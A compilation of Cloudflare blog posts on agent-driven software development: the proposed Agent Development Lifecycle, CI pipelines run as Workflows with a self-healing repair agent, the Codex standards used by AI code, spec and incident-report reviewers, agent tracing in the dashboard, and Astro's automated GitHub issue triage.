The Agent Development Lifecycle has arrived on Cloudflare

Post Syndicated from Brendan Irvine-Broque original https://blog.cloudflare.com/agent-development-lifecycle/

Engineering managers spent the past few decades figuring out ways for many programmers to work together on a shared codebase. This work dates all the way back to the “Systems Development Lifecycle” (RAND, 1975) – today commonly referred to as the “Software Development Lifecycle” (SDLC), which defines the following phases:

  • Plan
  • Design
  • Implement
  • Test
  • Deploy
  • Maintain
  • Retire

AI has made the step that was previously the slowest and most expensive — implementation — the fastest and cheapest. That, in turn, has had an impact downstream: overwhelming the people responsible for all the other steps in the SDLC. This ranges from open-source maintainers bombarded with thousands of pull requests and issues, to production engineers trying to save production from falling over as the rate of software delivery increases orders of magnitude.

We are all trying to save our systems, our customers, and ourselves from slop.

The answer — paradoxically — is to empower agents to do more. It’s only fair! You’d never let an engineer on your team write code, expect someone else to validate it, merge it, deploy it, hold the pager in production, and triage incoming bugs. But that’s what most companies are doing right now with agents. Models have improved remarkably, and agents are running over longer time horizons, able to take on much larger tasks. But they are not yet used evenly across the SDLC.

Cloudflare treats agents as our customers. They can buy domains, create temporary accounts and use the entire Cloudflare API. We know that agents need APIs and tools to be able to manage the full SDLC on behalf of our customers — not just the start of it.

And so today we’re introducing the start of a new set of tools that let agents step beyond just generating code and take on more of the SDLC. We’re sharing what we’ve built and learned trying to solve this for ourselves:

There’s something bigger here though. When we look at the SDLC, even with the best automation, its assumptions do not scale for the volume of code agents can write and the pace at which software teams must move to compete. We think it’s time to replace the SDLC with the ADLC — the Agent Development Lifecycle.

The SDLC is for software teams. The ADLC is for software factories.

Right now, everyone is talking about building “software factories” — agent-driven systems that take input and autonomously build, improve, deploy and manage software. Take an input, whether it’s a production error, a bug report from a customer, or an idea for a new feature, and delegate it entirely to an agent.

Even with agents, most software projects are constrained by human-in-the-loop steps. Humans prompting agents, telling them to keep going, instructing agents to apply feedback from a code review, constantly babysitting many agents and giving them instruction. On most software teams, the human still manages each step in the SDLC model — the only change is that they delegate tasks within each step to an agent.

And so the dream behind software factories is: what if you reimagined this approach and built a factory for the entire process of building software? How can we shift more human time towards the things that truly require human inspiration, taste, and judgement? It would leave us more time to design, to talk to customers, and to dream bigger.

A software factory has to manage the same steps in the SDLC, but it demands much more from the platform it is built on. Because when you hand over the keys and let the agent drive, every manual step that previously relied on a human must be adapted to be:

  • Programmatic — ”ClickOps” was bad practice for humans, but it’s a non-starter for agents. Every last operation needs APIs that agents can call, debug, and rely on.
  • Horizontally scalable — preview deployments were a nice-to-have when humans stared at the screen while building or manually took over a staging server to catch issues before production. For agents to drive, every agent must have its own preview that matches production.
  • Reproducible — what happens if there’s a bug that you can only reproduce when simulating 4G on an iPhone 15? Or from an IP in a certain country? Typical unit testing and integration testing tools aren’t going to help here.
  • Real-time, push based — relying on humans to look at the right dashboard has always been a bad way to know if things are working, but it completely breaks down with agents. You need an event that triggers an agent to do work.
  • Atomic — every change needs to be independently testable, releasable, observable, and reversible without affecting unrelated behavior.
  • Permissioned — you know you probably shouldn’t, but today you give a few trusted engineers the keys to SSH into prod in case things really go haywire. There’s no way you let an agent do that — but without the ability to escalate and get more permissions, how can it do its job?
  • Self-improving — people learn from experience. The first week ship or the first on-call rotation, humans are slow and need to shadow someone else, but then get better and faster. Agents, too, need ways to learn from experience.

We need something new if we are going to make software factories safe to use for real production software. Software factories face the same challenge that other autonomous systems like self-driving cars do — the challenge of going from working successfully 80% of the time, to some number of nines past 99%.

To give agents the keys to drive the SDLC, you can’t give them a car designed for humans

An autonomous vehicle is loaded with sensors and technology that a regular car doesn’t have. Lidar sensors, cameras, powerful compute to run inference, and connectivity to a central command system that can take over remotely if needed.

For an autonomous vehicle to be 80% as good as a human at driving, we probably don’t need all of this. Self-driving got to around 80% as good as humans 10 years ago. But that’s not the bar to clear — the bar is to be much better and safer than a human driver. That’s what we expect when we hand over the keys to a machine, in order to feel safe taking a nap driving down the 101 at 60 mph. And that’s why autonomous vehicles have technology that is purpose-built for self-driving — it’s what builds trust and handles the edge cases that cannot be designed for upfront.

The same is true of self-driving software. Ask yourself — why haven’t you yet just let your agent auto-approve and merge its own PRs to your production services? The higher the stakes of what you build, the longer your list of reasons almost surely is.

When you start to unpack not only all the things that can go catastrophically wrong in this process, but also that are necessary to building the right thing for customers, it is remarkably complex. It doesn’t fit into a linear set of steps in a GitHub Actions YAML file, and it goes way beyond running traditional automated tests. Even a small change to a dashboard can span roles, specializations and org structures, and subjective changes are the hardest to test and to delegate. Most of these things are probably not part of your CI/CD pipeline at all today. But they will need to be, if you want them to still happen, while giving full control to the agents running the software factory.

To let agents drive the whole process, we need a better way to orchestrate these dynamic series of steps. We think that is a Workflow, with the capability to spawn containers, agents and browsers. A Workflow that can set feature flags and enable them for a test user, investigate logs and traces, observe production metrics as a change gradually rolls out, and do everything else that is needed in order to ship safely.

A CI/CD pipeline is just a Workflow. But a Workflow can be so much more than a CI/CD pipeline.

Cloudflare Workflows let you chain together multiple steps, automatically retry failed tasks, and persist state for minutes, hours, or even weeks. They are designed to encode complex and dynamic business processes in a logical and well-understood program. This blog post breaks down why Workflows, in tandem with Artifacts, make defining and triggering CI/CD pipelines fundamentally simpler. For example:

Workflows go beyond a series of linear steps though. They can be defined dynamically, and they can spawn agents or other Workflows. This example shows a Workflow that reviews new data from the past day. The Workflow has full control over when and how the agent is prompted, and can pass along context between steps: 

Once you see this pattern, and are “Workflow-pilled” as Cloudflare is, you start to ask: what else could I have a Workflow handle for me? What other human-bottlenecked steps could I delegate to this combination of Workflow + Flue agents?

The full ADLC, on the Cloudflare stack

With Workflows able to orchestrate complex steps, and Artifacts as the storage layer for code, when you look at the SDLC stages, everything an agent needs to own the whole process of building, shipping, and maintaining software is on Cloudflare:

Primitives to build your software factory

Right now, the people on the bleeding edge are building the software factories of the future. Eventually software factories will become, just like agents and AI, the normal way people build software. But for most people and most organizations, we’re not there yet.

We want to change that.

In order to do so, the questions we’ve asked ourselves are: how can we make things simple and accessible so that everyone on the Internet can benefit from a paradigm shift like this? And what are the base layer primitives that we can open up to everyone, from the smallest startup to the largest platforms in the world?

In this case, we think the primitives are here. There’s more to do to connect them, to keep building our own software factory and learn from it, but right now, today, we’re ready for you to build your machine that builds the machine, on Cloudflare. Get started with @cloudflare/ci, build an agent, and see how much of the SDLC you can make autonomous.

Run CI/CD for millions of repos — on your platform, on Cloudflare

Post Syndicated from André Venceslau original https://blog.cloudflare.com/ci-workflows/

We are moving toward a world in which you can store, build, test, and deploy your code fully on Cloudflare. We built the first piece with Artifacts, versioned code storage that scales to millions of repos. 

We have stitched the store, build, and deploy steps together with the CI SDK, built on Cloudflare Workflows, so that you can run your continuous integration (CI) pipeline on Cloudflare. You can send artifact push events directly to your Workflow, triggering an instance of its execution — a CI job, essentially — through a new events field in your wrangler configuration file. 

Then, directly from the Workflow with @cloudflare/ci installed, you can:

  • Automate builds: compile code from your Artifacts repo in a safe, isolated environment 
  • Run linters and typechecks: enforce code style, catch type errors, and flag any potential issues
  • Cache dependencies: run your install once and cache dependencies across steps in the CI job
  • Execute unit tests: verify that each piece of your code works as expected
  • Self-heal: integrate an AI review agent to catch broken steps in your build and push commits to fix 
  • Deploy conditionally: automatically deploy your code, only if your build step is successful

Today, everyone is building a platform, whether it’s an internal vibe coding platform or an extension of your customer-facing product via customization through code. Platforms are now using millions of repos on Artifacts to store their code, and their customers’ code, and version control across the two. But every team has their own needs for a continuous integration and deployment pipeline. For platforms, they might want to define a CI job for their own code differently from that of their customers. 

Many of the end customers building on these platforms don’t want the extra headache of managing their continuous integration and continuous deployment (CI/CD) pipeline. Instead, the platform can manage the build process on their customers’ behalf: write the CI/CD pipeline once and share it across all the applications that their customers are building. Some of the platform’s customers might want to define their own CI; if so, they can write their own Workflow and run custom CI jobs on just their repo, facilitated by dynamic workflows. The beauty is, you don’t have to pick and choose: both platform-managed and custom CI can run at the same time, in the same namespace.

A CI/CD pipeline is just a Workflow

Before today, we had all the pieces to allow platforms to wire their CI/CD pipeline together on Cloudflare. Now, we’re bringing a better developer experience to make it simple. 

A CI/CD pipeline — commonly orchestrated with GitHub Actions — is a series of steps that run in a specific order where, if any step fails, you stop running the pipeline and report the error. In essence, a CI/CD pipeline is just a Workflow. CI/CD, when defined by a YAML file, can get complicated quickly, given the constraints that so often lead to YAML fatigue. But each step in a CI/CD pipeline can translate simply to a Workflow step.do(). Instead of YAML, you can define your CI/CD pipeline in Typescript for greater customization and configurability. 

We are launching new tools in the CI SDK that allow you to run each step in your CI pipeline (e.g. build, lint, and typecheck) in a safe, isolated environment, built directly on Cloudflare’s developer platform via Workflows and the Sandbox SDK. Plus, you can now kick off a CI job directly on push instead of configuring an event subscription, a queue, and a queue consumer. 

Previously, you’d have to call the Sandbox API directly and manage state yourself across different steps in the CI pipeline. The SDK allows you to run each sandboxed command in its own Workflow step, providing the retries and timeouts built into Cloudflare Workflows. 

You can also speed up your CI pipeline by caching step results — for example, your install step — so that you don’t need to reinstall for all subsequent operations. Dependency caching reduces the latency of your CI/CD pipeline since every CI step won’t need to rerun the install.

To define your CI job, all you need to do is:

  1. Define your install step for any dependencies (external packages or tools that your CI job needs), such as bundlers (e.g. esbuild), linters (e.g. eslint), or test runners (e.g. vitest).
  2. Specify the command for each step in the CI job (e.g. bun run build, bun run test, bun run lint). With your dependencies cached, each CI step can execute in parallel, reducing the latency of the overall run. 
  3. Pass wrangler deploy in a deploy step. Your Worker will automatically deploy when the CI pipeline passes.

Writing your own CI pipeline in a Workflow allows you to customize as much as you want. For example, you could call an agent from your CI Workflow to give your CI jobs self-healing functionality: if a step in your build errors, the agent can fix it automatically, and push a commit for your approval.

Try an example of self-healing CI Workflows with Project Think: https://github.com/cloudflare/ci/blob/main/examples/self-healing

Write your own CI Workflow

To write your own CI Workflow, get started with import { CIWorkflow } from@cloudflare/ci.
Start with an install step:

  • Download your dependencies, including any external tools or libraries that your CI steps will need (e.g. vite, react).
  • Specify your lockfile, which tracks whether your dependencies have changed.
  • Cache your dependencies via a sandbox snapshot so that all subsequent steps have access. The snapshot will be stored in an R2 bucket on your account.

Then define steps for the build and checks, each executed in its own safe, isolated sandbox environment.

By default, each step in a Workflow starts independently, meaning the steps will execute concurrently unless otherwise specified. Running each step in parallel reduces the latency of your CI run. To ensure that all checks complete before the CI pipeline continues (for example, finish build, lint, test, and typecheck before the deploy step starts), wrap in a Promise.all()

Now, to actually trigger your CI Workflow, add an events field to your Worker’s wrangler configuration, alongside your Workflow and Artifact bindings. The events field is a new field supported within your triggers field. 

You could already subscribe to Artifacts through Cloudflare Queues via event subscriptions and kick off a build pipeline every time there’s a push event. But that requires setting up the event subscription, Queue, consumer, and queue handler. Now, you can target a Workflow with that event — every time that event fires, it will trigger an instance of the Workflow. 

Specify the CI Workflow as your artifact push trigger’s target to automatically trigger a Workflow instance on every cf.artifacts.repo.pushed event. Each CI run surfaces as a Workflow instance so you can view its step-by-step execution and observability directly in the Workflows dashboard. This is an Artifacts-first integration; coming soon, the types will support events from sources across your Cloudflare account to allow for programmatic consumption across the product suite.

If you want to run the CI Workflow on every repo in your namespace — for example, if you are a platform running CI on all of your customers’ repositories — omit repoName and only specify the namespace in filter.

To fully configure your CI Workflow, add bindings to each piece of the infrastructure which powers the pipeline: artifacts, workflows, containers and durable_objects (+ exports config) bindings (to access your sandboxes), plus an r2 binding if you are using cache. The R2 binding is required as the snapshot of your install step sandbox is stored in a bucket.

Self-healing CI runs

To allow your CI job to self-heal, you’ll need two pieces: the LLM and its agent harness. In the example above, we included a Think agent using Workers AI to catch errors in your pipeline and run the fixes on your behalf. Your CI job can be run and re-run remotely — no need to watch with your laptop open or check back every few minutes. Instead, Cloudflare handles it in the cloud, running your healer agent alongside the CI steps in a container. Instead of babysitting the CI job, making a manual fix, and re-running the pipeline, you’ll just need to merge the commit after your agent has made the fix. 

To set up an agent that self-heals your CI pipeline, add a Durable Object binding for your Think agent: 

Create your Think agent — Healer — by extending the HealingAgent class, which includes a heal method for you to call on failure. Pass whichever model you’d like to use: 

Then, wrap your steps in a try/catch block where a failure triggers the healing agent:

This example demonstrates a self-healing CI pipeline, but really, the Bring Your Own Workflow model allows you to customize the CI job however you want. This can be a place to add security rules, filters, or conditional CI steps. Using the BYO-W model, platforms can configure their CI/CD pipelines across different teams, customers, or applications according to each individual use case. 

The benefits of using a Workflow

By running your CI pipeline on a Cloudflare Workflow, you automatically inherit:

  1. Resilient retries (durable execution): if any step in your CI job fails, it will automatically retry with state persisted, meaning that no progress is lost. Every step supports custom retry and timeout behavior, so you can define different failure logic for each one. Plus, you can restart from a specific step, so if just lint fails, for example, you don’t have to rerun the entire CI pipeline. 
  2. Workflows observability: inspect your CI job step-by-step in the Workflows dashboard, where each instance surfaces the steps with their inputs, outputs, and wall and CPU time. You can visualize your CI job through Workflows diagrams in the dashboard, allowing you to easily see which steps run concurrently versus sequentially. You can also inspect Workflows logs through Workers Observability and GraphQL to understand more about runs of your CI job. 

  1. The power of code: by running CI in a Workflow, you can write a step for anything you want. For example, you might want to run an AI code reviewer as part of your CI/CD pipeline. You can make a call to your code review agent — or handle any custom logic you can put into code — with Workflows step.do(). Other examples might include writing build artifacts to R2 and sending an email when CI fails, completes, or merges to main.

What’s next

A CI/CD pipeline is just a Workflow — and with the CI SDK, you can define your CI across your code, and that of your customers, in simple Typescript rather than inflexible YAML. Building off the Cloudflare Workflows primitives, you can define whatever logic you’d like, whether that’s a healing agent, like our Think example, or writing build artifacts to R2. Running CI on Workflows helps bridge the gap between storage (via Artifacts), builds, and deployments. As a platform, this allows you to easily manage each step on your own code and on behalf of your customers.

Request to join the Artifacts private beta and get started with our Workflows CI guide. If you have any feature requests or notice any bugs, share your feedback directly with the Cloudflare team by joining the Cloudflare Developers community on Discord

What’s coming next:

  1. Direct integrations for Workers & Workers for Platforms: build.preview() and build.deploy() primitives to automatically deploy on push to main and create previews on push to non-default branches
  2. Gradual deployments: manage percentage-based rollouts via Workflows to customize your deployment progression and rollback logic
  3. Monorepos: simplified management for multi-Worker deployments using one CI pipeline
  4. Triggers: send push events from different sources to run CI jobs on a repo from any version control system, not just Artifacts

How Cloudflare enforces engineering standards using AI

Post Syndicated from Timo Reimann original https://blog.cloudflare.com/engineering-standards-enforcement/

Over the past four months, our AI code reviewer has flagged nearly a quarter of a million deviations from Cloudflare engineering standards (what we’ll call “violations” in this post) and blocked 16,000 merges. Our spec reviewer agent has evaluated close to 600 technical designs against the same standards before implementation began. Both systems draw from the Cloudflare Codex, a shared source of engineering guidance built for people and agents. This post explains why we built the Codex, how it supports the engineering lifecycle, and what we plan to do next.

Before the Codex (which we briefly introduced in a previous post about our AI engineering stack), developer guidance at Cloudflare lived in many places: formal documentation, repository files, chat threads, and the accumulated knowledge of individual engineers. Engineers often spent too much time searching for guidance instead of working on the problem they were trying to solve. Even after finding an answer, they could not always tell whether it was current, authoritative, or applicable to their situation.

As Cloudflare grew, that model became increasingly difficult to sustain. No engineer could read every standard, and reviewers could not reliably check every requirement. Institutional knowledge became harder to recover when people moved between teams, and guidance that was not consistently surfaced or enforced led to drift between projects.

We rebuilt this body of knowledge as the Cloudflare Codex: a governed set of engineering standards that agents can retrieve and apply at the point of work. The same guidance can now inform code review, technical design review, incident report review, and many other use cases, while engineers focus their time and judgment on the resulting findings.

Codex organization and workflow

A dedicated Codex governance model divides the Codex into distinct domains covering the engineering areas we care about. These include architectural matters (for example, frontend and control plane), cross-cutting concerns (security and reliability), specific languages (TypeScript and Rust), and several other areas. Each domain is led by an owner who is responsible for the content, consistency, and overall quality of the documents they oversee.

Codex standards use a Request for Comments (RFC) format. Requirements use the SHOULD and MUST keywords defined by RFC 2119. We also expect a front matter header to hold metadata such as the domain and RFC status. Any Cloudflare employee with a key interest and domain competency can propose an RFC through a merge request that follows the prescribed structure. The proposal then passes through several rounds of feedback from an increasingly broad group of reviewers. Once the domain owner gives final approval, the RFC becomes part of the Codex and is published to an Astro-powered internal site.

Approved RFCs can be consumed by Codex clients and agents, which may then start to flag Codex violations in code, configuration, or documentation immediately. However, they block based on Codex statements only after an RFC moves from the approved to the enforced lifecycle state. This separate promotion step gives teams time to absorb new requirements and accommodates cases where enforcement needs additional work.

The following diagram illustrates the steps in the Codex workflow:

A naive process could stop here and feed the entire Codex to a large language model (LLM) as is. Given the increasing number of RFCs we have already (60+ and counting), however, the corpus volume would put a lot of stress on the context window and impact LLM results negatively. To help guide models to the most relevant RFCs, we invoke a purpose-built agent to automatically extract and compact the SHOULD and MUST statements into a dedicated JSON structure and enrich it with metadata that supports lazy discovery and progressive disclosure. The following abridged excerpt shows the result for our control plane services RFC:

Each statement receives a stable slug identifier that remains unchanged during the extraction process even when its RFC is updated. The identifier lets us track the same statement across different systems over time, which is essential for monitoring, analysis, and exception handling.

Initially, we extracted the statements into another, more concise Markdown file rather than JSON. Over time, we moved to a richer structured format so that agents could filter the content they needed more accurately. We plan to include additional metadata for even tighter scoping, such as indicators for the software development life cycle (SDLC) stage a statement applies to (e.g., design, implementation, runtime).

Codex consumers

Several systems already use the Codex in day-to-day engineering work. Three agents show how the Codex works in practice: our AI code reviewer, spec reviewer, and incident report reviewer.

AI code reviewer

Our AI code reviewer agent, covered in a separate blog post, evaluates merge requests across several dimensions, including Codex compliance.

For each review, the agent retrieves the RFCs and parses the Codex statements. It loads full RFC bodies only when the model or coordinator needs additional context. In most cases, the statements provide enough information to explain a reported violation.

The distinction between SHOULD and MUST, together with an RFC’s status, determines how the reviewer responds. Findings from approved RFCs are non-blocking recommendations. Once an RFC is enforced, an unsatisfied MUST requirement causes the reviewer to withhold approval or block a merge request, depending on the severity. 

Since the Codex’s inception earlier this year, the AI code reviewer has flagged close to 230,000 violations. Among these, almost 16,000 caused approval to be withheld (i.e., they referred to MUST statements on enforced RFCs).

Code review alternatives

A single AI code reviewer run usually takes a couple of minutes to complete due to the coordinator framework and sub-agent execution. Although the wait is very often worth the money (or tokens), engineers were calling out the delay and extra round trip involved in remediating the findings. We looked into how we could improve the experience and came up with two additional options:

  1. For language-specific Codex requirements that can be verified mechanically, we provide custom linter configuration packages. These are aligned with our Codex specification and make it possible to surface problems in milliseconds. TypeScript was the first language to receive Codex linter support while also standardizing on oxlint (maintained by the VoidZero team who joined Cloudflare recently) for performant linter execution. A linter for Rust projects is currently under development, and Go will eventually follow to complete coverage of Cloudflare’s most commonly used languages.
  2. To cut out the continuous integration (CI) leg from the review cycle, we made it possible to run the AI code reviewer locally through a command-line interface (CLI). It matches the coordinator functionality from CI and runs the same (OpenCode-based) agents against an automatically determined diff set, with results presented in the terminal.

We believe the linters would be useful to almost every developer and codebase, while the CLI remains an optional alternative for engineers who prefer it.

Spec reviewer

Engineers at Cloudflare regularly write design documents and technical specifications (or specs in short) before implementation. A significant subset of the Codex pertains to design, architecture, and other themes relevant to technical reviews. To catch architectural mistakes before implementation begins, we built the spec reviewer, an agent that discovers specs and evaluates them against relevant Codex requirements.

The spec reviewer operates on the Developer Platform: it runs as a Cloudflare Worker, stores its results and state in D1, routes model requests through AI Gateway, and kicks off scanning for new specs via a Cron Trigger. It starts by filtering the Codex by domains and sections relevant to specs (for example, language features and implementation-focused RFCs are disregarded). Several guiding prompts instruct the model on how to run the assessment and frame the results. The findings get rated based on severity (influenced by SHOULD and MUST keywords) and include general quality and architectural advice. On completion of a review run, a note is left on the spec document linking to a custom dashboard where review details can be inspected.

Since the beginning of May 2026, almost 600 unique open specs have been reviewed. Including reruns triggered on demand or by spec changes, we tracked over 3,200 review invocations to this date. The vast majority of findings had a “major” (65%) or “minor” (29%) severity, with “critical” findings being the minority (6%).

The following image gives an impression of what the spec reviewer UI looks like:

We plan to integrate the spec reviewer more tightly by posting comments directly on the spec documents, embedding human-agent conversations that can influence the review assessment, and flagging high-impact proposals for additional human review.

Incident report reviewer

The incident report reviewer applies the same approach to incident reports (also known as postmortems). In addition to checking that each report is complete, it evaluates whether the report clearly explains what happened, identifies contributing factors, documents the resolution, and proposes meaningful follow-up actions. These expectations are defined in a dedicated Codex RFC.

The incident report reviewer uses the same Developer Platform building blocks as the spec reviewer. This shared architecture is becoming a common pattern for our Codex agents.

Since May 2026, the reviewer has assessed more than 200 incident reports and identified gaps such as missing follow-up action items, incomplete timelines, and omitted detection signals. Among those reports, 93% covered incidents that were low-impact, internal-only, or declared preemptively. For high-severity incidents, we’ve made the reviewer mandatory as part of our comprehensive central review process, and reports are not considered complete until all findings have been addressed.

Future work

The Codex already supports agents that review code, technical designs, and incident reports. We plan to extend that model throughout the SDLC, allowing agents to surface issues consistently across design, implementation, and operations. The longer-term goal is for agents to identify issues as well as propose fixes with increasing autonomy, while engineers remain responsible for reviewing and approving those changes.

We are also expanding the Codex beyond engineering. Product, security, compliance, and trust and safety teams are beginning to add their own standards, allowing agents to evaluate work against considerations that extend beyond design and implementation alone.

Across a number of engineering workflows, Codex-backed agents have helped us surface issues sooner and apply standards more consistently. We have found AI most useful when it brings the right guidance to engineers at the point of work, and plan to keep extending the approach across Cloudflare.

If you’re interested in building systems like these, our engineering teams are hiring.

Introducing: Cloudflare Agents

Post Syndicated from Nevi Shah original https://blog.cloudflare.com/agents-on-cloudflare/

We're bringing together everything you need to deploy and manage hosted agents on Cloudflare, starting with observability.

We've spent the last nine years building a developer platform, and agents are the perfect use case. They're really just another type of application, but what you need to build them — model access, durable runtime, orchestration, sandboxed execution, persistent storage — happens to be exactly what we've already built.

Now, we’re making it even easier to deploy and manage your agents on Cloudflare. Cloudflare Agents brings all of your deployed agent sessions into a single experience, surfacing key information and insights into how your agents perform at scale.

First stop: agent tracing

We are launching agent tracing for more direct visibility and insight into agent behavior. With agent-aware traces, you can now understand exactly what your agent is doing and what it costs: every model call, tool execution, and token is measured and presented here. Agent tracing launches today with support for OpenTelemetry-compatible agent harnesses including Think, Flue, and AI SDK, and more.

Agent traces are just the beginning. Once you have observability into your agent’s thought process and real-world behavior, you can start to analyze this data and make real improvements. Plug this data into your agent development lifecycle, and you suddenly have autonomous, self-improving agents. This is the vision for Cloudflare Agents: one place to deploy, observe, and continuously improve every agent you run.

Making agents observable

An agent can return HTTP 200 and still fail. It may choose the wrong tool, pass stale context to a subagent, or spend tokens in a retry loop. Traditional application telemetry might show the API request or database query, but not the agent behavior that caused it.

Agent-level telemetry should answer questions such as:

  • Where did the time go: the model, the tool, or the infrastructure?
  • Did the turn pause for approval?
  • Which model did the agent call, and how many tokens did the turn use?
  • Did the agent choose the right tool?
  • When the tool called an external API, did it receive a successful response or time out?
  • Which subagent performed the work, and how did that work affect the final response?

Workers tracing already covers the infrastructure layer, including fetch calls, KV reads, and D1 queries, but until now, traces for agents running on Workers contained those infrastructure spans without the agent operations surrounding them. Agent tracing closes that gap, adding spans for agent invocations, model calls, tool execution, approval events, and supported subagent calls alongside the Workers data already captured. You also get context such as the model and token usage attached as metadata. 

Starting today, agents built with Think, Flue, and AI SDK will send agent traces to Cloudflare, letting you visualize them in the dashboard or export them to a supported OpenTelemetry-compatible destination.

All your agents in one place 

The Cloudflare dashboard now has a dedicated Agents view that lists observed agents and their traces alongside runs, sessions, instances, and reported token usage. 

When you open an agent, you can visualize, understand, and debug what it’s doing in two ways:

  • Replay a session to review captured context across all turns 
  • View a trace to inspect the execution of each turn

Replay a session

The Messages tab assembles the full conversation for a given turn: system instructions, user messages, the model's thinking, tool calls with their arguments and results, and the final response. It's a replay of recorded data, not a re-execution of the agent. This lets you catch a malformed tool argument, see the context available when a tool was selected, understand handoff to subagents, or identify how an earlier turn influenced a later result.

In this example, a user asks to plan a two-day trip to Lisbon. You can see the model's reasoning, watch it call destination_researcher twice (it retried), read the tool results, and follow its thinking as it moves on to building the itinerary. If the agent made a bad decision, this is where you find it.

Exactly what gets recorded depends on your harness or framework. For Think, Flue, and the AI SDK, storeMessages and storeTools control whether message and tool payloads are captured. You can turn payload recording off when that data may contain personal information, secrets, or other sensitive data.

Check the trace

The Traces tab shows the execution waterfall, where you can determine how time was spent and connect agent operations to Workers infrastructure. 

In this trace, a Travel_Planner agent delegates to an itinerary_builder subagent, which calls a model, runs a tool, hits D1, and writes to KV — all visible in a single waterfall:

  • invoke_agent TravelPlanner: The parent agent invocation, 2.72 minutes total. Identifiers for the agent class, conversation, and Durable Object are attached so you can correlate across traces.
  • invoke_agent itinerary_builder: The subagent, nested under the parent, taking 1.83 minutes of that time.
  • chat @cf/zai-org/glm-4.7-flash: Model calls at each level, with duration and provider-reported token usage attached. The first call (17.59s) was the parent's routing decision; the subagent made its own calls underneath.
  • execute_tool record_itinerary_builder_execution: The tool execution, 104ms.
  • cloudflare-d1 run d1_run: A D1 query triggered by the tool, also 104ms.
  • execute_tool record_respond_ready: The tool execution, 232ms.
  • cloudflare-kv put kv_put: A KV write from a later tool, 232ms.

Workers tracing already instruments bindings such as KV, D1, Durable Object, service-binding, and fetch calls, so the Cloudflare infrastructure used by a tool appears under the agent operation that triggered it. Supported subagent calls nest under the parent when child work runs within the active traced context. That lets you follow a turn from the parent agent, through delegated work, to the Cloudflare resources each agent used.

How to enable agent tracing

First, enable tracing in wrangler.jsonc, the Worker's project configuration:

Setup after that depends on the stack

Soon any OpenTelemetry-compliant toolkit will just work

We’re working to support the OpenTelemetry API directly inside Workers. This means frameworks that already emit OpenTelemetry Generative AI semantic conventions spans will be able to visualize them in the Agents view without waiting for a Cloudflare-specific adapter. When those spans include standard agent and conversation identifiers, the Agents view can group them into agents and sessions just like our built-in integrations. Cloudflare can already export OpenTelemetry data; this adds the other direction by accepting standard telemetry generated inside Workers.

Export traces with OpenTelemetry

Your agent telemetry isn’t locked into Cloudflare. You can export traces to any OTLP-compatible provider by configuring a destination in your Worker’s Wrangler configuration file. Because every trace is structured, the same data that helps you debug agents can also power evaluations, analytics, and token-usage reporting. This means traces aren’t just something you inspect when things break, but also a feedback loop for improving your agent’s quality, performance, and cost.

Pricing

Agent traces are built on Workers tracing, so pricing is straightforward. The Agents view shows your agent's operations, but the full Worker trace may include additional spans from SDK internals and other Worker-level operations. To see the full trace, click “View in Observability”.

Every span counts as an observability event, not just the ones visible in the Agents view. All tracing is currently free while in beta. Starting October 1, 2026, tracing pricing will be included as part of existing Workers Observability pricing:

Get started

Tracing is the first piece as we keep building out Cloudflare Agents into the place where you easily deploy, observe, and continuously improve every agent you run. 

Ready to see what your agents are doing? Check out our documentation to enable observability on your agent and head over to the Agents dashboard to inspect your first trace or replay a session.

How we built a software factory to drive Astro’s GitHub issue count to zero

Post Syndicated from Matthew Phillips original https://blog.cloudflare.com/astro-issue-triage/

Everyone is talking about software factories: the idea that AI agents can be assembled into a pipeline that produces working software on their own, the way a factory turns raw materials into finished goods. There’s endless debate over whether that’s actually possible, how far the automation can really go, and whether the “loops” people are demoing count for anything. Some have already written them off as a failure.

Running alongside that is a quieter, more worried conversation: open source maintainers are burning out. The AI boom has made it nearly free to generate issues, pull requests, and security reports, and enormously expensive for a maintainer to read through them all. The old ways of keeping a project healthy are buckling under the volume.

Everyone has a hot take on both topics. We think we have something rarer to offer: real results. For the past several months we’ve run an automated triage pipeline on the Astro repository. It reads incoming bug reports, reproduces them in sandboxes, diagnoses the root cause, and ships preview releases for the reporter to verify. The engine underneath it grew into Flue, an open framework for building this kind of agent automation, and it’s the same tool you could use to build your own.

It wasn’t an instant success. But through a lot of iteration, we’ve used it to bring our open issues down from over 200 to about 30, and we expect to hit zero sometime in the next month. That would be the first time this repository has seen zero open issues in its 5+ year history. 

We didn’t get there by declaring "issue bankruptcy," auto-closing cold tickets, or ignoring reports. We did it by automating issue triage with a team of isolated AI subagents running right inside GitHub Actions. Here’s the story of how we got there, and what you might take back to your own projects.

Starting with an agent skill

At the start of the year, we focused on automating one specific area of development: issue triage. As an open source project, manual issue triage can be one of the more time-consuming, least-rewarding parts of the job. A single issue can sometimes take hours just to reproduce, let alone fix. It was a natural (yet often overlooked) place for us to start our automation journey.

We began by developing an agent skill. This allowed us to develop and test the automation locally as maintainers, running a coding harness on our own machines. We could then run that same harness in a GitHub Action on our repo, and get total reuse of that exact same triage workflow skill.

The triage skill mirrors the exact steps we take during manual issue resolution:

  1. Reproduce: Clone the provided reproduction repository to verify the reported issue.
  2. Diagnose: Instrument the codebase and introduce logging to pinpoint the root cause of the bug.
  3. Verify: Review relevant test suites, code comments, and documentation to determine if the behavior is genuinely a bug or intended functionality.
  4. Fix: Convert the reproduction into failing unit tests, identify the appropriate solution via the architecture guide, and deploy the fix.

To prevent the frequent LLM bias toward forcing a solution when a bug might not actually exist, each phase is executed by an isolated subagent. These subagents pass information forward sequentially by compiling their discoveries into a report.md file.

Turning the skill into an automation

Following initial internal testing of the triage skill, our focus shifted toward building a fully automated pipeline. We specifically wanted to integrate this logic directly into a GitHub workflow, ensuring complete transparency so that anyone could easily audit the agent's sequential reasoning and operational steps.

As we wired it up, we realized the whole pipeline was really just a state machine driven by issue labels. Every new submission starts with the label triage needed, and once a user confirms a fix it moves to fix verified. Beyond those label transitions the pipeline holds no state of its own; it simply reads back through the issue’s existing comments to work out where a given issue is and what should happen next.

From there the flow runs on its own. When the agents land on a fix, the pipeline spins up a preview release with pkg.pr.new and posts everything back to the issue: a summary of what it found, the full logs, and instructions for installing the preview. The original reporter can then try the patch against their own project, and if they confirm it works, the automation opens a pull request linked to the issue.

From triage to a framework

As we built this out, we kept noticing that nothing about it was really specific to GitHub. Reacting to an event, running a sequence of isolated subagents, and separating their reasoning from the actions they’re allowed to take — it’s all just a workflow. One that could run just as well from a Slack message, a cron job, or a webhook as from a GitHub issue. Generalizing that realization into a runtime that works the same way regardless of where it’s deployed, or which model it’s driving, is what became Flue: an open, platform-agnostic framework for building durable agents and workflows.

Benefits of agent automation

